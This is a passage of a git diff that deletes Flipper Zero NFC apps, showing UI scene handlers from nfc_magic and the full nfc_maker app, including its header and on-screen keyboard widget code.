nfc_magic_scene_write_confirm_widget_callback, - nfc_magic); - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Back", - nfc_magic_scene_write_confirm_widget_callback, - nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_write_confirm_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } else if(event.event == GuiButtonTypeCenter) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWrite); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_write_confirm_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c deleted file mode 100644 index 8a465bf61..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_fail.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_write_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_write_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 72, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 7, 4, AlignLeft, AlignTop, FontPrimary, "Writing gone wrong!"); - widget_add_string_multiline_element( - widget, - 7, - 17, - AlignLeft, - AlignTop, - FontSecondary, - "Not all sectors\nwere written\ncorrectly."); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "Finish", nfc_magic_scene_write_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_write_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - return consumed; -} - -void nfc_magic_scene_write_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c deleted file mode 100644 index 857d50c1f..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wrong_card.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_wrong_card_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_wrong_card_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 1, 4, AlignLeft, AlignTop, FontPrimary, "This is wrong card"); - widget_add_string_multiline_element( - widget, - 1, - 17, - AlignLeft, - AlignTop, - FontSecondary, - "Writing this file is\nnot supported for\nthis magic card."); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_wrong_card_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_wrong_card_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_wrong_card_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_maker/application.fam b/applications/external/nfc_maker/application.fam deleted file mode 100644 index 95bcd8878..000000000 --- a/applications/external/nfc_maker/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="nfc_maker", - name="NFC Maker", - apptype=FlipperAppType.EXTERNAL, - entry_point="nfc_maker", - cdefines=["APP_NFC_MAKER"], - requires=[ - "storage", - "gui", - ], - stack_size=1 * 1024, - fap_icon="nfc_maker_10px.png", - fap_category="NFC", - fap_icon_assets="assets", -) diff --git a/applications/external/nfc_maker/assets/DolphinNice_96x59.png b/applications/external/nfc_maker/assets/DolphinNice_96x59.png deleted file mode 100644 index a299d3630..000000000 Binary files a/applications/external/nfc_maker/assets/DolphinNice_96x59.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeyBackspaceSelected_16x9.png b/applications/external/nfc_maker/assets/KeyBackspaceSelected_16x9.png deleted file mode 100644 index 7cc0759a8..000000000 Binary files a/applications/external/nfc_maker/assets/KeyBackspaceSelected_16x9.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeyBackspace_16x9.png b/applications/external/nfc_maker/assets/KeyBackspace_16x9.png deleted file mode 100644 index 9946232d9..000000000 Binary files a/applications/external/nfc_maker/assets/KeyBackspace_16x9.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeyKeyboardSelected_10x11.png b/applications/external/nfc_maker/assets/KeyKeyboardSelected_10x11.png deleted file mode 100644 index 231880386..000000000 Binary files a/applications/external/nfc_maker/assets/KeyKeyboardSelected_10x11.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeyKeyboard_10x11.png b/applications/external/nfc_maker/assets/KeyKeyboard_10x11.png deleted file mode 100644 index 1f4c03478..000000000 Binary files a/applications/external/nfc_maker/assets/KeyKeyboard_10x11.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeySaveSelected_24x11.png b/applications/external/nfc_maker/assets/KeySaveSelected_24x11.png deleted file mode 100644 index eeb3569d3..000000000 Binary files a/applications/external/nfc_maker/assets/KeySaveSelected_24x11.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/KeySave_24x11.png b/applications/external/nfc_maker/assets/KeySave_24x11.png deleted file mode 100644 index e7dba987a..000000000 Binary files a/applications/external/nfc_maker/assets/KeySave_24x11.png and /dev/null differ diff --git a/applications/external/nfc_maker/assets/WarningDolphin_45x42.png b/applications/external/nfc_maker/assets/WarningDolphin_45x42.png deleted file mode 100644 index d766ffbb4..000000000 Binary files a/applications/external/nfc_maker/assets/WarningDolphin_45x42.png and /dev/null differ diff --git a/applications/external/nfc_maker/nfc_maker.c b/applications/external/nfc_maker/nfc_maker.c deleted file mode 100644 index 332614248..000000000 --- a/applications/external/nfc_maker/nfc_maker.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "nfc_maker.h" - -static bool nfc_maker_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcMaker* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool nfc_maker_back_event_callback(void* context) { - furi_assert(context); - NfcMaker* app = context; - - return scene_manager_handle_back_event(app->scene_manager); -} - -NfcMaker* nfc_maker_alloc() { - NfcMaker* app = malloc(sizeof(NfcMaker)); - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher and Scene Manager - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&nfc_maker_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, nfc_maker_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, nfc_maker_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Gui Modules - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcMakerViewSubmenu, submenu_get_view(app->submenu)); - - app->text_input = nfc_maker_text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - NfcMakerViewTextInput, - nfc_maker_text_input_get_view(app->text_input)); - - app->byte_input = byte_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcMakerViewByteInput, byte_input_get_view(app->byte_input)); - - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, NfcMakerViewPopup, popup_get_view(app->popup)); - - return app; -} - -void nfc_maker_free(NfcMaker* app) { - furi_assert(app); - - // Gui modules - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewSubmenu); - submenu_free(app->submenu); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewTextInput); - nfc_maker_text_input_free(app->text_input); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewByteInput); - byte_input_free(app->byte_input); - view_dispatcher_remove_view(app->view_dispatcher, NfcMakerViewPopup); - popup_free(app->popup); - - // View Dispatcher and Scene Manager - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Records - furi_record_close(RECORD_GUI); - free(app); -} - -extern int32_t nfc_maker(void* p) { - UNUSED(p); - NfcMaker* app = nfc_maker_alloc(); - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneStart, NfcMakerSceneHttps); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneStart); - view_dispatcher_run(app->view_dispatcher); - nfc_maker_free(app); - return 0; -} diff --git a/applications/external/nfc_maker/nfc_maker.h b/applications/external/nfc_maker/nfc_maker.h deleted file mode 100644 index 261b7d2c3..000000000 --- a/applications/external/nfc_maker/nfc_maker.h +++ /dev/null @@ -1,68 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include "nfc_maker_icons.h" -#include -#include "nfc_maker_text_input.h" -#include -#include -#include "scenes/nfc_maker_scene.h" -#include -#include -#include -#include -#include "strnlen.h" - -#define MAC_INPUT_LEN GAP_MAC_ADDR_SIZE -#define MAIL_INPUT_LEN 128 -#define PHONE_INPUT_LEN 17 - -#define BIG_INPUT_LEN 248 -#define SMALL_INPUT_LEN 90 - -typedef enum { - WifiAuthenticationOpen = 0x01, - WifiAuthenticationWpa2Personal = 0x20, - WifiAuthenticationWpa2Enterprise = 0x10, - WifiAuthenticationWpaPersonal = 0x02, - WifiAuthenticationWpaEnterprise = 0x08, - WifiAuthenticationShared = 0x04, -} WifiAuthentication; - -typedef enum { - WifiEncryptionAes = 0x08, - WifiEncryptionWep = 0x02, - WifiEncryptionTkip = 0x04, - WifiEncryptionNone = 0x01, -} WifiEncryption; - -typedef struct { - Gui* gui; - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - NFCMaker_TextInput* text_input; - ByteInput* byte_input; - Popup* popup; - - uint8_t mac_buf[MAC_INPUT_LEN]; - char mail_buf[MAIL_INPUT_LEN]; - char phone_buf[PHONE_INPUT_LEN]; - - char big_buf[BIG_INPUT_LEN]; - char small_buf1[SMALL_INPUT_LEN]; - char small_buf2[SMALL_INPUT_LEN]; - char save_buf[BIG_INPUT_LEN]; -} NfcMaker; - -typedef enum { - NfcMakerViewSubmenu, - NfcMakerViewTextInput, - NfcMakerViewByteInput, - NfcMakerViewPopup, -} NfcMakerView; diff --git a/applications/external/nfc_maker/nfc_maker_10px.png b/applications/external/nfc_maker/nfc_maker_10px.png deleted file mode 100644 index a9e2443f1..000000000 Binary files a/applications/external/nfc_maker/nfc_maker_10px.png and /dev/null differ diff --git a/applications/external/nfc_maker/nfc_maker_text_input.c b/applications/external/nfc_maker/nfc_maker_text_input.c deleted file mode 100644 index e6beb1f22..000000000 --- a/applications/external/nfc_maker/nfc_maker_text_input.c +++ /dev/null @@ -1,770 +0,0 @@ -#include "nfc_maker_text_input.h" -#include -#include "nfc_maker.h" -#include - -struct NFCMaker_TextInput { - View* view; - FuriTimer* timer; -}; - -typedef struct { - const char text; - const uint8_t x; - const uint8_t y; -} NFCMaker_TextInputKey; - -typedef struct { - const NFCMaker_TextInputKey* rows[3]; - const uint8_t keyboard_index; -} Keyboard; - -typedef struct { - const char* header; - char* text_buffer; - size_t text_buffer_size; - size_t minimum_length; - bool clear_default_text; - - bool cursor_select; - size_t cursor_pos; - - NFCMaker_TextInputCallback callback; - void* callback_context; - - uint8_t selected_row; - uint8_t selected_column; - uint8_t selected_keyboard; - - NFCMaker_TextInputValidatorCallback validator_callback; - void* validator_callback_context; - FuriString* validator_text; - bool validator_message_visible; -} NFCMaker_TextInputModel; - -static const uint8_t keyboard_origin_x = 1; -static const uint8_t keyboard_origin_y = 29; -static const uint8_t keyboard_row_count = 3; -static const uint8_t keyboard_count = 2; - -#define ENTER_KEY '\r' -#define BACKSPACE_KEY '\b' -#define SWITCH_KEYBOARD_KEY 0xfe - -static const NFCMaker_TextInputKey keyboard_keys_row_1[] = { - {'q', 1, 8}, - {'w', 10, 8}, - {'e', 19, 8}, - {'r', 28, 8}, - {'t', 37, 8}, - {'y', 46, 8}, - {'u', 55, 8}, - {'i', 64, 8}, - {'o', 73, 8}, - {'p', 82, 8}, - {'0', 91, 8}, - {'1', 100, 8}, - {'2', 110, 8}, - {'3', 120, 8}, -}; - -static const NFCMaker_TextInputKey keyboard_keys_row_2[] = { - {'a', 1, 20}, - {'s', 10, 20}, - {'d', 19, 20}, - {'f', 28, 20}, - {'g', 37, 20}, - {'h', 46, 20}, - {'j', 55, 20}, - {'k', 64, 20}, - {'l', 73, 20}, - {BACKSPACE_KEY, 82, 12}, - {'4', 100, 20}, - {'5', 110, 20}, - {'6', 120, 20}, -}; - -static const NFCMaker_TextInputKey keyboard_keys_row_3[] = { - {SWITCH_KEYBOARD_KEY, 1, 23}, - {'z', 13, 32}, - {'x', 21, 32}, - {'c', 28, 32}, - {'v', 36, 32}, - {'b', 44, 32}, - {'n', 52, 32}, - {'m', 59, 32}, - {'_', 67, 32}, - {ENTER_KEY, 74, 23}, - {'7', 100, 32}, - {'8', 110, 32}, - {'9', 120, 32}, -}; - -static const NFCMaker_TextInputKey symbol_keyboard_keys_row_1[] = { - {'!', 2, 8}, - {'@', 12, 8}, - {'#', 22, 8}, - {'$', 32, 8}, - {'%', 42, 8}, - {'^', 52, 8}, - {'&', 62, 8}, - {'(', 71, 8}, - {')', 81, 8}, - {'0', 91, 8}, - {'1', 100, 8}, - {'2', 110, 8}, - {'3', 120, 8}, -}; - -static const NFCMaker_TextInputKey symbol_keyboard_keys_row_2[] = { - {'~', 2, 20}, - {'+', 12, 20}, - {'-', 22, 20}, - {'=', 32, 20}, - {'[', 42, 20}, - {']', 52, 20}, - {'{', 62, 20}, - {'}', 72, 20}, - {BACKSPACE_KEY, 82, 12}, - {'4', 100, 20}, - {'5', 110, 20}, - {'6', 120, 20}, -}; - -static const NFCMaker_TextInputKey symbol_keyboard_keys_row_3[] = { - {SWITCH_KEYBOARD_KEY, 1, 23}, - {'.', 15, 32}, - {',', 29, 32}, - {':', 41, 32}, - {'/', 53, 32}, - {'\'', 65, 32}, - {ENTER_KEY, 74, 23}, - {'7', 100, 32}, - {'8', 110, 32}, - {'9', 120, 32}, -}; - -static const Keyboard keyboard = { - .rows = - { - keyboard_keys_row_1, - keyboard_keys_row_2, - keyboard_keys_row_3, - }, - .keyboard_index = 0, -}; - -static const Keyboard symbol_keyboard = { - .rows = - { - symbol_keyboard_keys_row_1, - symbol_keyboard_keys_row_2, - symbol_keyboard_keys_row_3, - }, - .keyboard_index = 1, -}; - -static const Keyboard* keyboards[] = { - &keyboard, - &symbol_keyboard, -}; - -static void switch_keyboard(NFCMaker_TextInputModel* model) { - model->selected_keyboard = (model->selected_keyboard + 1) % keyboard_count; -} - -static uint8_t get_row_size(const Keyboard* keyboard, uint8_t row_index) { - uint8_t row_size = 0; - if(keyboard == &symbol_keyboard) { - switch(row_index + 1) { - case 1: - row_size = COUNT_OF(symbol_keyboard_keys_row_1); - break; - case 2: - row_size = COUNT_OF(symbol_keyboard_keys_row_2); - break; - case 3: - row_size = COUNT_OF(symbol_keyboard_keys_row_3); - break; - default: - furi_crash(NULL); - } - } else { - switch(row_index + 1) { - case 1: - row_size = COUNT_OF(keyboard_keys_row_1); - break; - case 2: - row_size = COUNT_OF(keyboard_keys_row_2); - break; - case 3: - row_size = COUNT_OF(keyboard_keys_row_3); - break; - default: - furi_crash(NULL); - } - } - - return row_size; -} - -static const NFCMaker_TextInputKey* get_row(const Keyboard* keyboard, uint8_t row_index) { - const NFCMaker_TextInputKey* row = NULL; - if(row_index < 3) { - row = keyboard->rows[row_index]; - } else { - furi_crash(NULL); - } - - return row; -} - -static char get_selected_char(NFCMaker_TextInputModel* model) { - return get_row( - keyboards[model->selected_keyboard], model->selected_row)[model->selected_column] - .text; -} - -static bool char_is_lowercase(char letter) { - return (letter >= 0x61 && letter <= 0x7A); -} - -static char char_to_uppercase(const char letter) { - if(letter == '_') { - return 0x20; - } else if(letter == ':') { - return 0x3B; - } else if(letter == '/') { - return 0x5C; - } else if(letter == '\'') { - return 0x60; - } else if(letter == '.') { - return 0x2A; - } else if(char_is_lowercase(letter)) { - return (letter - 0x20); - } else { - return letter; - } -} - -static void nfc_maker_text_input_backspace_cb(NFCMaker_TextInputModel* model) { - if(model->clear_default_text) { - model->text_buffer[0] = 0; - model->cursor_pos = 0; - } else if(model->cursor_pos > 0) { - char* move = model->text_buffer + model->cursor_pos; - memmove(move - 1, move, strlen(move) + 1); - model->cursor_pos--; - } -} - -static void nfc_maker_text_input_view_draw_callback(Canvas* canvas, void* _model) { - NFCMaker_TextInputModel* model = _model; - uint8_t text_length = model->text_buffer ? strlen(model->text_buffer) : 0; - uint8_t needed_string_width = canvas_width(canvas) - 8; - uint8_t start_pos = 4; - - model->cursor_pos = model->cursor_pos > text_length ? text_length : model->cursor_pos; - size_t cursor_pos = model->cursor_pos; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - canvas_draw_str(canvas, 2, 8, model->header); - elements_slightly_rounded_frame(canvas, 1, 12, 126, 15); - - char buf[model->text_buffer_size + 1]; - if(model->text_buffer) { - strlcpy(buf, model->text_buffer, sizeof(buf)); - } - char* str = buf; - - if(model->clear_default_text) { - elements_slightly_rounded_box( - canvas, start_pos - 1, 14, canvas_string_width(canvas, str) + 2, 10); - canvas_set_color(canvas, ColorWhite); - } else { - char* move = str + cursor_pos; - memmove(move + 1, move, strlen(move) + 1); - str[cursor_pos] = '|'; - } - - if(cursor_pos > 0 && canvas_string_width(canvas, str) > needed_string_width) { - canvas_draw_str(canvas, start_pos, 22, "..."); - start_pos += 6; - needed_string_width -= 8; - for(uint32_t off = 0; - strlen(str) && canvas_string_width(canvas, str) > needed_string_width && - off < cursor_pos; - off++) { - str++; - } - } - - if(canvas_string_width(canvas, str) > needed_string_width) { - needed_string_width -= 4; - size_t len = strlen(str); - while(len && canvas_string_width(canvas, str) > needed_string_width) { - str[len--] = '\0'; - } - strcat(str, "..."); - } - - canvas_draw_str(canvas, start_pos, 22, str); - - canvas_set_font(canvas, FontKeyboard); - - for(uint8_t row = 0; row < keyboard_row_count; row++) { - const uint8_t column_count = get_row_size(keyboards[model->selected_keyboard], row); - const NFCMaker_TextInputKey* keys = get_row(keyboards[model->selected_keyboard], row); - - for(size_t column = 0; column < column_count; column++) { - bool selected = !model->cursor_select && model->selected_row == row && - model->selected_column == column; - const Icon* icon = NULL; - if(keys[column].text == ENTER_KEY) { - icon = selected ? &I_KeySaveSelected_24x11 : &I_KeySave_24x11; - } else if(keys[column].text == SWITCH_KEYBOARD_KEY) { - icon = selected ? &I_KeyKeyboardSelected_10x11 : &I_KeyKeyboard_10x11; - } else if(keys[column].text == BACKSPACE_KEY) { - icon = selected ? &I_KeyBackspaceSelected_16x9 : &I_KeyBackspace_16x9; - } - canvas_set_color(canvas, ColorBlack); - if(icon != NULL) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - icon); - } else { - if(selected) { - canvas_draw_box( - canvas, - keyboard_origin_x + keys[column].x - 1, - keyboard_origin_y + keys[column].y - 8, - 7, - 10); - canvas_set_color(canvas, ColorWhite); - } - - if(model->clear_default_text || text_length == 0) { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - char_to_uppercase(keys[column].text)); - } else { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - keys[column].text); - } - } - } - } - if(model->validator_message_visible) { - canvas_set_font(canvas, FontSecondary); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 8, 10, 110, 48); - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); - canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); - canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); - elements_multiline_text(canvas, 62, 20, furi_string_get_cstr(model->validator_text)); - canvas_set_font(canvas, FontKeyboard); - } -} - -static void nfc_maker_text_input_handle_up( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputModel* model) { - UNUSED(nfc_maker_text_input); - if(model->selected_row > 0) { - model->selected_row--; - if(model->selected_row == 0 && - model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6) { - model->selected_column = model->selected_column + 1; - } - if(model->selected_row == 1 && - model->selected_keyboard == symbol_keyboard.keyboard_index) { - if(model->selected_column > 5) - model->selected_column += 2; - else if(model->selected_column > 1) - model->selected_column += 1; - } - } else { - model->cursor_select = true; - model->clear_default_text = false; - } -} - -static void nfc_maker_text_input_handle_down( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputModel* model) { - UNUSED(nfc_maker_text_input); - if(model->cursor_select) { - model->cursor_select = false; - } else if(model->selected_row < keyboard_row_count - 1) { - model->selected_row++; - if(model->selected_row == 1 && - model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4) { - model->selected_column = model->selected_column - 1; - } - if(model->selected_row == 2 && - model->selected_keyboard == symbol_keyboard.keyboard_index) { - if(model->selected_column > 7) - model->selected_column -= 2; - else if(model->selected_column > 1) - model->selected_column -= 1; - } - } -} - -static void nfc_maker_text_input_handle_left( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputModel* model) { - UNUSED(nfc_maker_text_input); - if(model->cursor_select) { - if(model->cursor_pos > 0) { - model->cursor_pos = CLAMP(model->cursor_pos - 1, strlen(model->text_buffer), 0u); - } - } else if(model->selected_column > 0) { - model->selected_column--; - } else { - model->selected_column = - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1; - } -} - -static void nfc_maker_text_input_handle_right( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputModel* model) { - UNUSED(nfc_maker_text_input); - if(model->cursor_select) { - model->cursor_pos = CLAMP(model->cursor_pos + 1, strlen(model->text_buffer), 0u); - } else if( - model->selected_column < - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { - model->selected_column++; - } else { - model->selected_column = 0; - } -} - -static void nfc_maker_text_input_handle_ok( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputModel* model, - InputType type) { - if(model->cursor_select) return; - bool shift = type == InputTypeLong; - bool repeat = type == InputTypeRepeat; - char selected = get_selected_char(model); - size_t text_length = strlen(model->text_buffer); - - if(selected == ENTER_KEY) { - if(model->validator_callback && - (!model->validator_callback( - model->text_buffer, model->validator_text, model->validator_callback_context))) { - model->validator_message_visible = true; - furi_timer_start(nfc_maker_text_input->timer, furi_kernel_get_tick_frequency() * 4); - } else if(model->callback != 0 && text_length >= model->minimum_length) { - model->callback(model->callback_context); - } - } else if(selected == SWITCH_KEYBOARD_KEY) { - switch_keyboard(model); - } else { - if(selected == BACKSPACE_KEY) { - nfc_maker_text_input_backspace_cb(model); - } else if(!repeat) { - if(model->clear_default_text) { - text_length = 0; - } - if(text_length < (model->text_buffer_size - 1)) { - if(shift != (text_length == 0)) { - selected = char_to_uppercase(selected); - } - if(model->clear_default_text) { - model->text_buffer[0] = selected; - model->text_buffer[1] = '\0'; - model->cursor_pos = 1; - } else { - char* move = model->text_buffer + model->cursor_pos; - memmove(move + 1, move, strlen(move) + 1); - model->text_buffer[model->cursor_pos] = selected; - model->cursor_pos++; - } - } - } - model->clear_default_text = false; - } -} - -static bool nfc_maker_text_input_view_input_callback(InputEvent* event, void* context) { - NFCMaker_TextInput* nfc_maker_text_input = context; - furi_assert(nfc_maker_text_input); - - bool consumed = false; - - // Acquire model - NFCMaker_TextInputModel* model = view_get_model(nfc_maker_text_input->view); - - if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && - model->validator_message_visible) { - model->validator_message_visible = false; - consumed = true; - } else if(event->type == InputTypeShort) { - consumed = true; - switch(event->key) { - case InputKeyUp: - nfc_maker_text_input_handle_up(nfc_maker_text_input, model); - break; - case InputKeyDown: - nfc_maker_text_input_handle_down(nfc_maker_text_input, model); - break; - case InputKeyLeft: - nfc_maker_text_input_handle_left(nfc_maker_text_input, model); - break; - case InputKeyRight: - nfc_maker_text_input_handle_right(nfc_maker_text_input, model); - break; - case InputKeyOk: - nfc_maker_text_input_handle_ok(nfc_maker_text_input, model, event->type); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeLong) { - consumed = true; - switch(event->key) { - case InputKeyUp: - nfc_maker_text_input_handle_up(nfc_maker_text_input, model); - break; - case InputKeyDown: - nfc_maker_text_input_handle_down(nfc_maker_text_input, model); - break; - case InputKeyLeft: - nfc_maker_text_input_handle_left(nfc_maker_text_input, model); - break; - case InputKeyRight: - nfc_maker_text_input_handle_right(nfc_maker_text_input, model); - break; - case InputKeyOk: - nfc_maker_text_input_handle_ok(nfc_maker_text_input, model, event->type); - break; - case InputKeyBack: - nfc_maker_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeRepeat) { - consumed = true; - switch(event->key) { - case InputKeyUp: - nfc_maker_text_input_handle_up(nfc_maker_text_input, model); - break; - case InputKeyDown: - nfc_maker_text_input_handle_down(nfc_maker_text_input, model); - break; - case InputKeyLeft: - nfc_maker_text_input_handle_left(nfc_maker_text_input, model); - break; - case InputKeyRight: - nfc_maker_text_input_handle_right(nfc_maker_text_input, model); - break; - case InputKeyOk: - nfc_maker_text_input_handle_ok(nfc_maker_text_input, model, event->type); - break; - case InputKeyBack: - nfc_maker_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } - - // Commit model - view_commit_model(nfc_maker_text_input->view, consumed); - - return consumed; -} - -void nfc_maker_text_input_timer_callback(void* context) { - furi_assert(context); - NFCMaker_TextInput* nfc_maker_text_input = context; - - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { model->validator_message_visible = false; }, - true); -} - -NFCMaker_TextInput* nfc_maker_text_input_alloc() { - NFCMaker_TextInput* nfc_maker_text_input = malloc(sizeof(NFCMaker_TextInput)); - nfc_maker_text_input->view = view_alloc(); - view_set_context(nfc_maker_text_input->view, nfc_maker_text_input); - view_allocate_model( - nfc_maker_text_input->view, ViewModelTypeLocking, sizeof(NFCMaker_TextInputModel)); - view_set_draw_callback(nfc_maker_text_input->view, nfc_maker_text_input_view_draw_callback); - view_set_input_callback(nfc_maker_text_input->view, nfc_maker_text_input_view_input_callback); - - nfc_maker_text_input->timer = furi_timer_alloc( - nfc_maker_text_input_timer_callback, FuriTimerTypeOnce, nfc_maker_text_input); - - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { - model->validator_text = furi_string_alloc(); - model->minimum_length = 1; - model->cursor_pos = 0; - model->cursor_select = false; - }, - false); - - nfc_maker_text_input_reset(nfc_maker_text_input); - - return nfc_maker_text_input; -} - -void nfc_maker_text_input_free(NFCMaker_TextInput* nfc_maker_text_input) { - furi_assert(nfc_maker_text_input); - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { furi_string_free(model->validator_text); }, - false); - - // Send stop command - furi_timer_stop(nfc_maker_text_input->timer); - // Release allocated memory - furi_timer_free(nfc_maker_text_input->timer); - - view_free(nfc_maker_text_input->view); - - free(nfc_maker_text_input); -} - -void nfc_maker_text_input_reset(NFCMaker_TextInput* nfc_maker_text_input) { - furi_assert(nfc_maker_text_input); - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { - model->header = ""; - model->selected_row = 0; - model->selected_column = 0; - model->selected_keyboard = 0; - model->minimum_length = 1; - model->clear_default_text = false; - model->cursor_pos = 0; - model->cursor_select = false; - model->text_buffer = NULL; - model->text_buffer_size = 0; - model->callback = NULL; - model->callback_context = NULL; - model->validator_callback = NULL; - model->validator_callback_context = NULL; - furi_string_reset(model->validator_text); - model->validator_message_visible = false; - }, - true); -} - -View* nfc_maker_text_input_get_view(NFCMaker_TextInput* nfc_maker_text_input) { - furi_assert(nfc_maker_text_input); - return nfc_maker_text_input->view; -} - -void nfc_maker_text_input_set_result_callback( - NFCMaker_TextInput* nfc_maker_text_input, - NFCMaker_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text) { - with_view_model( - nfc_maker_text_input->view, - NFCMaker_TextInputModel * model, - { - 